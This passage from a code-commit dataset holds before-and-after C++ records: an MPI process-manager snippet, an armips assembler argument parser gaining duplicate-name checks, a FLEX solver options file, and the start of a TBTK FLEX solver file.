Q_UNUSED(boolean)\n#endif\n\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::broadcast(double* my_array, int nvalues, int root)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Bcast(my_array, nvalues, MPI_DOUBLE, root, MPI_COMM_WORLD);\n#else\n Q_UNUSED(my_array) Q_UNUSED(nvalues) Q_UNUSED(root)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid ProcessManager::broadcast(int* value, int root)\n{\n#ifdef BUILDING_WITH_MPI\n MPI_Bcast(value, 1, MPI_INT, root, MPI_COMM_WORLD);\n#else\n Q_UNUSED(value) Q_UNUSED(root)\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ProcessManager::isRoot()\n{\n#ifdef BUILDING_WITH_MPI\n int rank;\n MPI_Comm_rank(MPI_COMM_WORLD, &rank);\n return (rank == 0);\n#else\n return true;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nbool ProcessManager::isMultiProc()\n{\n#ifdef BUILDING_WITH_MPI\n int size;\n MPI_Comm_size(MPI_COMM_WORLD, &size);\n return (size > 1);\n#else\n return false;\n#endif\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"} {"text":"<commit_before>#include \"stdafx.h\"\n#include \"Core\/Common.h\"\n#include \"Core\/Assembler.h\"\n#include \"CommandLineInterface.h\"\n\nstatic void printUsage(std::wstring executableName)\n{\n\tLogger::printLine(L\"armips assembler v%d.%d.%d (%s %s) by Kingcom\",\n\t\tARMIPS_VERSION_MAJOR, ARMIPS_VERSION_MINOR, ARMIPS_VERSION_REVISION, __DATE__, __TIME__);\n\tLogger::printLine(L\"Usage: %s [optional parameters] <FILE>\", executableName);\n\tLogger::printLine(L\"\");\n\tLogger::printLine(L\"Optional parameters:\");\n\tLogger::printLine(L\" -temp <TEMP> Output temporary assembly data to <TEMP> file\");\n\tLogger::printLine(L\" -sym <SYM> Output symbol data in the sym format to <SYM> file\");\n\tLogger::printLine(L\" -sym2 <SYM2> Output symbol data in the sym2 format to <SYM2> file\");\n\tLogger::printLine(L\" -root <ROOT> Use <ROOT> as working directory during execution\");\n\tLogger::printLine(L\" -equ <NAME> <VAL> Equivalent to \\'<NAME> equ <VAL>\\' in code\");\n\tLogger::printLine(L\" -strequ <NAME> <VAL> Equivalent to \\'<NAME> equ \\\"<VAL>\\\"\\' in code\");\n\tLogger::printLine(L\" -definelabel <NAME> <VAL> Equivalent to \\'.definelabel <NAME>, <VAL>\\' in code\");\n\tLogger::printLine(L\" -erroronwarning Treat all warnings like errors\");\n\tLogger::printLine(L\"\");\n\tLogger::printLine(L\"File arguments:\");\n\tLogger::printLine(L\" <FILE> Main assembly code file\");\n}\n\nstatic bool parseArguments(const StringList& arguments, ArmipsArguments& settings)\n{\n\tsize_t argpos = 1;\n\tbool readflags = true;\n\twhile (argpos < arguments.size())\n\t{\n\t\tif (readflags && arguments[argpos][0] == L'-')\n\t\t{\n\t\t\tif (arguments[argpos] == L\"--\")\n\t\t\t{\n\t\t\t\treadflags = false;\n\t\t\t\targpos += 1;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-temp\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tsettings.tempFileName = arguments[argpos + 1];\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-sym\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tsettings.symFileName = arguments[argpos + 1];\n\t\t\t\tsettings.symFileVersion = 1;\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-sym2\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tsettings.symFileName = arguments[argpos + 1];\n\t\t\t\tsettings.symFileVersion = 2;\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-erroronwarning\")\n\t\t\t{\n\t\t\t\tsettings.errorOnWarning = true;\n\t\t\t\targpos += 1;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-equ\" && argpos + 2 < arguments.size())\n\t\t\t{\n\t\t\t\tEquationDefinition def;\n\t\t\t\tdef.name = arguments[argpos + 1];\n\n\t\t\t\tif (!checkValidLabelName(def.name))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid equation name %s\", def.name);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tstd::transform(def.name.begin(), def.name.end(), def.name.begin(), ::towlower);\n\t\t\t\tdef.value = arguments[argpos + 2];\n\t\t\t\tsettings.equList.push_back(def);\n\t\t\t\targpos += 3;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-strequ\" && argpos + 2 < arguments.size())\n\t\t\t{\n\t\t\t\tEquationDefinition def;\n\t\t\t\tdef.name = arguments[argpos + 1];\n\n\t\t\t\tif (!checkValidLabelName(def.name))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid equation name %s\", def.name);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tstd::transform(def.name.begin(), def.name.end(), def.name.begin(), ::towlower);\n\t\t\t\tdef.value = formatString(L\"\\\"%s\\\"\", arguments[argpos + 2]);\n\t\t\t\tsettings.equList.push_back(def);\n\t\t\t\targpos += 3;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-time\")\n\t\t\t{\n\t\t\t\tLogger::printError(Logger::Warning, L\"-time flag is deprecated\");\n\t\t\t\targpos += 1;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-root\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tif(!changeDirectory(arguments[argpos + 1]))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Could not open directory '%s'\", arguments[argpos + 1]);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-definelabel\" && argpos + 2 < arguments.size())\n\t\t\t{\n\t\t\t\tLabelDefinition def;\n\n\t\t\t\tdef.originalName = arguments[argpos + 1];\n\n\t\t\t\tif (!checkValidLabelName(def.originalName))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid definelabel name %s\", def.originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tdef.name = def.originalName;\n\t\t\t\tstd::transform(def.name.begin(), def.name.end(), def.name.begin(), ::towlower);\n\n\t\t\t\tint64_t value;\n\t\t\t\tif (!stringToInt(arguments[argpos + 2], 0, arguments[argpos + 2].size(), value))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid definelabel value '%s'\\n\", arguments[argpos + 2]);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tdef.value = value;\n\n\t\t\t\tsettings.labels.push_back(def);\n\t\t\t\targpos += 3;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tLogger::printError(Logger::Error, L\"Invalid command line argument '%s'\\n\", arguments[argpos]);\n\t\t\t\tprintUsage(arguments[0]);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ only allow one input filename\n\t\t\tif (settings.inputFileName == L\"\")\n\t\t\t{\n\t\t\t\tsettings.inputFileName = arguments[argpos];\n\t\t\t\targpos++;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tLogger::printError(Logger::Error, L\"Multiple input assembly files specified\\n\");\n\t\t\t\tprintUsage(arguments[0]);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ ensure input file was specified\n\tif (settings.inputFileName == L\"\")\n\t{\n\t\tif (arguments.size() > 1)\n\t\t\tLogger::printError(Logger::Error, L\"Missing input assembly file\\n\");\n\n\t\tprintUsage(arguments[0]);\n\t\treturn false;\n\t}\n\n\t\/\/ turn input filename into an absolute path\n\tif (settings.useAbsoluteFileNames && isAbsolutePath(settings.inputFileName) == false)\n\t\tsettings.inputFileName = formatString(L\"%s\/%s\", getCurrentDirectory(), settings.inputFileName);\n\n\tif (fileExists(settings.inputFileName) == false)\n\t{\n\t\tLogger::printError(Logger::Error, L\"File '%s' not found\", settings.inputFileName);\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nint runFromCommandLine(const StringList& arguments, ArmipsArguments settings)\n{\n\tif (parseArguments(arguments, settings) == false)\n\t{\n\t\tif (!settings.silent)\n\t\t\tLogger::printLine(L\"Cannot parse arguments; aborting.\");\n\n\t\treturn 1;\n\t}\n\n\tif (runArmips(settings) == false)\n\t{\n\t\tif (!settings.silent)\n\t\t\tLogger::printLine(L\"Aborting.\");\n\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n<commit_msg>Check that -strequ\/-equ\/-definelabel names do not have multiple definitions<commit_after>#include \"stdafx.h\"\n#include \"Core\/Common.h\"\n#include \"Core\/Assembler.h\"\n#include \"CommandLineInterface.h\"\n\nstatic void printUsage(std::wstring executableName)\n{\n\tLogger::printLine(L\"armips assembler v%d.%d.%d (%s %s) by Kingcom\",\n\t\tARMIPS_VERSION_MAJOR, ARMIPS_VERSION_MINOR, ARMIPS_VERSION_REVISION, __DATE__, __TIME__);\n\tLogger::printLine(L\"Usage: %s [optional parameters] <FILE>\", executableName);\n\tLogger::printLine(L\"\");\n\tLogger::printLine(L\"Optional parameters:\");\n\tLogger::printLine(L\" -temp <TEMP> Output temporary assembly data to <TEMP> file\");\n\tLogger::printLine(L\" -sym <SYM> Output symbol data in the sym format to <SYM> file\");\n\tLogger::printLine(L\" -sym2 <SYM2> Output symbol data in the sym2 format to <SYM2> file\");\n\tLogger::printLine(L\" -root <ROOT> Use <ROOT> as working directory during execution\");\n\tLogger::printLine(L\" -equ <NAME> <VAL> Equivalent to \\'<NAME> equ <VAL>\\' in code\");\n\tLogger::printLine(L\" -strequ <NAME> <VAL> Equivalent to \\'<NAME> equ \\\"<VAL>\\\"\\' in code\");\n\tLogger::printLine(L\" -definelabel <NAME> <VAL> Equivalent to \\'.definelabel <NAME>, <VAL>\\' in code\");\n\tLogger::printLine(L\" -erroronwarning Treat all warnings like errors\");\n\tLogger::printLine(L\"\");\n\tLogger::printLine(L\"File arguments:\");\n\tLogger::printLine(L\" <FILE> Main assembly code file\");\n}\n\nstatic bool parseArguments(const StringList& arguments, ArmipsArguments& settings)\n{\n\tsize_t argpos = 1;\n\tbool readflags = true;\n\twhile (argpos < arguments.size())\n\t{\n\t\tif (readflags && arguments[argpos][0] == L'-')\n\t\t{\n\t\t\tif (arguments[argpos] == L\"--\")\n\t\t\t{\n\t\t\t\treadflags = false;\n\t\t\t\targpos += 1;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-temp\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tsettings.tempFileName = arguments[argpos + 1];\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-sym\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tsettings.symFileName = arguments[argpos + 1];\n\t\t\t\tsettings.symFileVersion = 1;\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-sym2\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tsettings.symFileName = arguments[argpos + 1];\n\t\t\t\tsettings.symFileVersion = 2;\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-erroronwarning\")\n\t\t\t{\n\t\t\t\tsettings.errorOnWarning = true;\n\t\t\t\targpos += 1;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-equ\" && argpos + 2 < arguments.size())\n\t\t\t{\n\t\t\t\tEquationDefinition def;\n\n\t\t\t\tauto originalName = arguments[argpos+1];\n\t\t\t\tdef.name = originalName;\n\t\t\t\tstd::transform(def.name.begin(), def.name.end(), def.name.begin(), ::towlower);\n\n\t\t\t\tif (!checkValidLabelName(originalName))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid equation name %s\", originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tauto it = std::find_if(settings.equList.begin(), settings.equList.end(),\n\t\t\t\t\t\t[&def](EquationDefinition x) -> bool {return def.name == x.name;});\n\t\t\t\tif(it != settings.equList.end())\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Equation name %s defined more than once\", originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tdef.value = arguments[argpos + 2];\n\t\t\t\tsettings.equList.push_back(def);\n\t\t\t\targpos += 3;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-strequ\" && argpos + 2 < arguments.size())\n\t\t\t{\n\t\t\t\tEquationDefinition def;\n\n\t\t\t\tauto originalName = arguments[argpos+1];\n\t\t\t\tdef.name = originalName;\n\t\t\t\tstd::transform(def.name.begin(), def.name.end(), def.name.begin(), ::towlower);\n\n\t\t\t\tif (!checkValidLabelName(originalName))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid equation name %s\", originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tauto it = std::find_if(settings.equList.begin(), settings.equList.end(),\n\t\t\t\t\t\t[&def](EquationDefinition x) -> bool {return def.name == x.name;});\n\t\t\t\tif(it != settings.equList.end())\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Equation name %s defined more than once\", originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tdef.value = formatString(L\"\\\"%s\\\"\", arguments[argpos + 2]);\n\t\t\t\tsettings.equList.push_back(def);\n\t\t\t\targpos += 3;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-time\")\n\t\t\t{\n\t\t\t\tLogger::printError(Logger::Warning, L\"-time flag is deprecated\");\n\t\t\t\targpos += 1;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-root\" && argpos + 1 < arguments.size())\n\t\t\t{\n\t\t\t\tif(!changeDirectory(arguments[argpos + 1]))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Could not open directory '%s'\", arguments[argpos + 1]);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\targpos += 2;\n\t\t\t}\n\t\t\telse if (arguments[argpos] == L\"-definelabel\" && argpos + 2 < arguments.size())\n\t\t\t{\n\t\t\t\tLabelDefinition def;\n\n\t\t\t\tdef.originalName = arguments[argpos + 1];\n\t\t\t\tdef.name = def.originalName;\n\t\t\t\tstd::transform(def.name.begin(), def.name.end(), def.name.begin(), ::towlower);\n\n\t\t\t\tif (!checkValidLabelName(def.originalName))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid label name %s\", def.originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tauto it = std::find_if(settings.labels.begin(), settings.labels.end(),\n\t\t\t\t\t\t[&def](LabelDefinition x) -> bool {return def.name == x.name;});\n\t\t\t\tif(it != settings.labels.end())\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Label name %s defined more than once\", def.originalName);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t\tint64_t value;\n\t\t\t\tif (!stringToInt(arguments[argpos + 2], 0, arguments[argpos + 2].size(), value))\n\t\t\t\t{\n\t\t\t\t\tLogger::printError(Logger::Error, L\"Invalid label value '%s'\\n\", arguments[argpos + 2]);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\tdef.value = value;\n\n\t\t\t\tsettings.labels.push_back(def);\n\t\t\t\targpos += 3;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tLogger::printError(Logger::Error, L\"Invalid command line argument '%s'\\n\", arguments[argpos]);\n\t\t\t\tprintUsage(arguments[0]);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\t\/\/ only allow one input filename\n\t\t\tif (settings.inputFileName == L\"\")\n\t\t\t{\n\t\t\t\tsettings.inputFileName = arguments[argpos];\n\t\t\t\targpos++;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tLogger::printError(Logger::Error, L\"Multiple input assembly files specified\\n\");\n\t\t\t\tprintUsage(arguments[0]);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ ensure input file was specified\n\tif (settings.inputFileName == L\"\")\n\t{\n\t\tif (arguments.size() > 1)\n\t\t\tLogger::printError(Logger::Error, L\"Missing input assembly file\\n\");\n\n\t\tprintUsage(arguments[0]);\n\t\treturn false;\n\t}\n\n\t\/\/ turn input filename into an absolute path\n\tif (settings.useAbsoluteFileNames && isAbsolutePath(settings.inputFileName) == false)\n\t\tsettings.inputFileName = formatString(L\"%s\/%s\", getCurrentDirectory(), settings.inputFileName);\n\n\tif (fileExists(settings.inputFileName) == false)\n\t{\n\t\tLogger::printError(Logger::Error, L\"File '%s' not found\", settings.inputFileName);\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nint runFromCommandLine(const StringList& arguments, ArmipsArguments settings)\n{\n\tif (parseArguments(arguments, settings) == false)\n\t{\n\t\tif (arguments.size() > 1 && !settings.silent)\n\t\t\tLogger::printLine(L\"Cannot parse arguments; aborting.\");\n\n\t\treturn 1;\n\t}\n\n\tif (runArmips(settings) == false)\n\t{\n\t\tif (!settings.silent)\n\t\t\tLogger::printLine(L\"Aborting.\");\n\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include \"src\/Options.hpp\"\n#include \"src\/Cluster.hpp\"\n#include <map>\n\n\n\nusing namespace std;\nint main(int argc, char *argv[]){\n\n std::map<string,string > options2;\n\n \/* Dirichlet, lumped *\/\n options2[\"preconditioner\"] = \"Dirichlet\";\n options2[\"path2data\"] = \"data\/\";\n options2[\"young_modulus\"] = \"1000\";\n options2[\"poissons_ratio\"] = \"0.3\";\n\n \/* dissection | pardiso *\/\n options2[\"linear_solver\"] = \"dissection\";\n\n \/* {0, 1, 2, 3 } *\/\n options2[\"print_matrices\"] = \"0\";\n\n \/* ker, cor, all *\/\n options2[\"typeBc\"] = \"ker\";\n\n \/* true, false *\/\n options2[\"Ac_extended_by_kerGc\"] = \"false\";\n\n \/* true, false *\/\n options2[\"GcTGc_assembl_block_by_block\"] = \"true\";\n\n \/* true, false *\/\n options2[\"Bc_fullRank\"] = \"true\";\n\n \/* true, false *\/\n options2[\"create_analytic_ker_K\"] = \"false\";\n\n\n\n options2[\"Nx\"] = \"2\";\n options2[\"Ny\"] = \"2\";\n options2[\"Nz\"] = \"2\";\n options2[\"nx\"] = \"5\";\n options2[\"ny\"] = \"5\";\n options2[\"nz\"] = \"5\";\n\n\n printf(\"+++++++++++++++++++++++++++++++++++ %s\\n\", options2[\"path2data\"].c_str());\n\n\n if (options2[\"linear_solver\"] == \"pardiso\" &&\n options2[\"create_analytic_ker_K\"] == \"false\"){\n cout <<\"###########################################################\" << endl;\n cout << \"if pardiso, kernel must be provided by analytical formula\" << endl;\n cout <<\"###########################################################\" << endl;\n options2[\"create_analytic_ker_K\"] = true;\n }\n\n\n if (argc > 1) {\n options2[\"Nx\"] = (argv[1]);\n }\n if (argc > 2) {\n options2[\"Ny\"] = (argv[2]);\n }\n if (argc > 3) {\n options2[\"Nz\"] = (argv[3]);\n }\n if (argc > 4) {\n options2[\"nx\"] = (argv[4]);\n }\n if (argc > 5) {\n options2[\"ny\"] = (argv[5]);\n }\n if (argc > 6) {\n options2[\"nz\"] = (argv[6]);\n }\n\n cout << argv[0] << endl;\n Options options;\n Cluster cluster(options,options2);\n cout << \"----------------- done -----------------\\n\" ;\n return 0;\n}\n\n\/\/ HOW TO PRINT OPTIONS2\n\n\/\/ cout << \"\\t\\t\\tK.options2.size() \" << K.options2.size() << endl;\n\/\/ for (std::map<string,string>::const_iterator it=K.options2.begin(); it!=K.options2.end(); ++it)\n\/\/ std::cout << \"\\t\\t\\t\" << it->first << \" => \" << it->second << '\\n';\n<commit_msg>new options added<commit_after>#include <iostream>\n#include <string>\n#include \"src\/Options.hpp\"\n#include \"src\/Cluster.hpp\"\n#include <map>\n\n\n\nusing namespace std;\nint main(int argc, char *argv[]){\n\n std::map<string,string > options2;\n\n\n options2[\"eps_iter\"] = \"1e-4\";\n \/* Dirichlet, lumped *\/\n options2[\"preconditioner\"] = \"Dirichlet\";\n \/\/options2[\"preconditioner\"] = \"lumped\";\n options2[\"path2data\"] = \"data\/\";\n options2[\"young_modulus\"] = \"1000\";\n options2[\"poissons_ratio\"] = \"0.3\";\n\n \/* dissection | pardiso *\/\n options2[\"linear_solver\"] = \"dissection\";\n\n \/* {0, 1, 2, 3 } *\/\n options2[\"print_matrices\"] = \"0\";\n\n \/* ker, cor, all *\/\n options2[\"typeBc\"] = \"ker\";\n\n \/* true, false *\/\n options2[\"Ac_extended_by_kerGc\"] = \"false\";\n\n \/* true, false *\/\n options2[\"GcTGc_assembl_block_by_block\"] = \"true\";\n\n \/* true, false *\/\n options2[\"Bc_fullRank\"] = \"true\";\n\n \/* true, false *\/\n options2[\"create_analytic_ker_K\"] = \"false\";\n\n\n\n options2[\"Nx\"] = \"2\";\n options2[\"Ny\"] = \"2\";\n options2[\"Nz\"] = \"2\";\n options2[\"nx\"] = \"5\";\n options2[\"ny\"] = \"5\";\n options2[\"nz\"] = \"5\";\n\n\n printf(\"+++++++++++++++++++++++++++++++++++ %s\\n\", options2[\"path2data\"].c_str());\n\n\n if (options2[\"linear_solver\"] == \"pardiso\" &&\n options2[\"create_analytic_ker_K\"] == \"false\"){\n cout <<\"###########################################################\" << endl;\n cout << \"if pardiso, kernel must be provided by analytical formula\" << endl;\n cout <<\"###########################################################\" << endl;\n options2[\"create_analytic_ker_K\"] = true;\n }\n\n\n if (argc > 1) {\n options2[\"Nx\"] = (argv[1]);\n }\n if (argc > 2) {\n options2[\"Ny\"] = (argv[2]);\n }\n if (argc > 3) {\n options2[\"Nz\"] = (argv[3]);\n }\n if (argc > 4) {\n options2[\"nx\"] = (argv[4]);\n }\n if (argc > 5) {\n options2[\"ny\"] = (argv[5]);\n }\n if (argc > 6) {\n options2[\"nz\"] = (argv[6]);\n }\n\n cout << argv[0] << endl;\n Options options;\n Cluster cluster(options,options2);\n cout << \"----------------- done -----------------\\n\" ;\n return 0;\n}\n\n\/\/ HOW TO PRINT OPTIONS2\n\n\/\/ cout << \"\\t\\t\\tK.options2.size() \" << K.options2.size() << endl;\n\/\/ for (std::map<string,string>::const_iterator it=K.options2.begin(); it!=K.options2.end(); ++it)\n\/\/ std::cout << \"\\t\\t\\t\" << it->first << \" => \" << it->second << '\\n';\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2018 Kristofer Björnson\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/** @file FLEX.cpp\n *\n * @author Kristofer Björnson\n *\/\n\n#include \"TBTK\/PropertyExtractor\/BlockDiagonalizer.h\"\n#include \"TBTK\/PropertyExtractor\/ElectronFluctuationVertex.h\"\n#include \"TBTK\/PropertyExtractor\/MatsubaraSusceptibility.h\"\n#include \"TBTK\/PropertyExtractor\/RPASusceptibility.h\"\n#include \"TBTK\/PropertyExtractor\/SelfEnergy2.h\"\n#include \"TBTK\/Solver\/BlockDiagonalizer.h\"\n#include \"TBTK\/Solver\/ElectronFluctuationVertex.h\"\n#include \"TBTK\/Solver\/Greens.h\"\n#include \"TBTK\/Solver\/MatsubaraSusceptibility.h\"\n#include \"TBTK\/Solver\/RPASusceptibility.h\"\n#include \"TBTK\/Solver\/SelfEnergy2.h\"\n#include \"TBTK\/Solver\/FLEX.h\"\n\n#include <complex>\n\nusing namespace std;\n\nnamespace TBTK{\nnamespace Solver{\n\nFLEX::FLEX(const MomentumSpaceContext &momentumSpaceContext) :\n\tmomentumSpaceContext(momentumSpaceContext)\n{\n\tlowerFermionicMatsubaraEnergyIndex = -1;\n\tupperFermionicMatsubaraEnergyIndex = 1;\n\tlowerBosonicMatsubaraEnergyIndex = 0;\n\tupperBosonicMatsubaraEnergyIndex = 0;\n\n\tU = 0;\n\tJ = 0;\n\n\tstate = State::NotYetStarted;\n\tmaxIterations = 1;\n\tcallback = nullptr;\n\n\tnorm = Norm::Max;\n\tconvergenceParameter = 0;\n}\n\nvoid FLEX::run(){\n\t\/\/Calculate the non-interacting Green's function.\n\tTimer::tick(\"Green's function 0\");\n\tcalculateBareGreensFunction();\n\tgreensFunction = greensFunction0;\n\tTimer::tock();\n\n\tstate = State::GreensFunctionCalculated;\n\tif(callback != nullptr)\n\t\tcallback(*this);\n\n\t\/\/The main loop.\n\tunsigned int iteration = 0;\n\twhile(iteration++ < maxIterations){\n\t\t\/\/Calculate the bare susceptibility.\n\t\tcalculateBareSusceptibility();\n\t\tstate = State::BareSusceptibilityCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the RPA charge and spin susceptibilities.\n\t\tcalculateRPASusceptibilities();\n\t\tstate = State::RPASusceptibilitiesCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the interaction vertex.\n\t\tcalculateInteractionVertex();\n\t\tstate = State::InteractionVertexCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the self-energy.\n\t\tcalculateSelfEnergy();\n\t\tstate = State::SelfEnergyCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\t\/\/Calculate the self energy.\n\t\toldGreensFunction = greensFunction;\n\t\tcalculateGreensFunction();\n\t\tstate = State::GreensFunctionCalculated;\n\t\tif(callback != nullptr)\n\t\t\tcallback(*this);\n\n\t\tif(convergenceParameter < tolerance)\n\t\t\tbreak;\n\t}\n}\n\nvoid FLEX::calculateBareGreensFunction(){\n\tconst vector<unsigned int> &numMeshPoints\n\t\t= momentumSpaceContext.getNumMeshPoints();\n\tTBTKAssert(\n\t\tnumMeshPoints.size() == 2,\n\t\t\"Solver::FLEX::run()\",\n\t\t\"Only two-dimensional block indices supported yet, but the\"\n\t\t<< \" MomentumSpaceContext has a '\" << numMeshPoints.size()\n\t\t<< \"'-dimensional block structure.\",\n\t\t\"\"\n\t);\n\n\tBlockDiagonalizer blockDiagonalizer;\n\tblockDiagonalizer.setVerbose(false);\n\tblockDiagonalizer.setModel(getModel());\n\tblockDiagonalizer.run();\n\n\tvector<Index> greensFunctionPatterns;\n\tfor(int kx = 0; kx < (int)numMeshPoints[0]; kx++){\n\t\tfor(int ky = 0; ky < (int)numMeshPoints[1]; ky++){\n\t\t\tgreensFunctionPatterns.push_back(\n\t\t\t\t{{kx, ky, IDX_ALL}, {kx, ky, IDX_ALL}}\n\t\t\t);\n\t\t}\n\t}\n\n\tPropertyExtractor::BlockDiagonalizer\n\t\tblockDiagonalizerPropertyExtractor(blockDiagonalizer);\n\tblockDiagonalizerPropertyExtractor.setEnergyWindow(\n\t\tlowerFermionicMatsubaraEnergyIndex,\n\t\tupperFermionicMatsubaraEnergyIndex,\n\t\tlowerBosonicMatsubaraEnergyIndex,\n\t\tupperBosonicMatsubaraEnergyIndex\n\t);\n\tgreensFunction0\n\t\t= blockDiagonalizerPropertyExtractor.calculateGreensFunction(\n\t\t\tgreensFunctionPatterns,\n\t\t\tProperty::GreensFunction::Type::Matsubara\n\t\t);\n}\n\nvoid FLEX::calculateBareSusceptibility(){\n\tMatsubaraSusceptibility 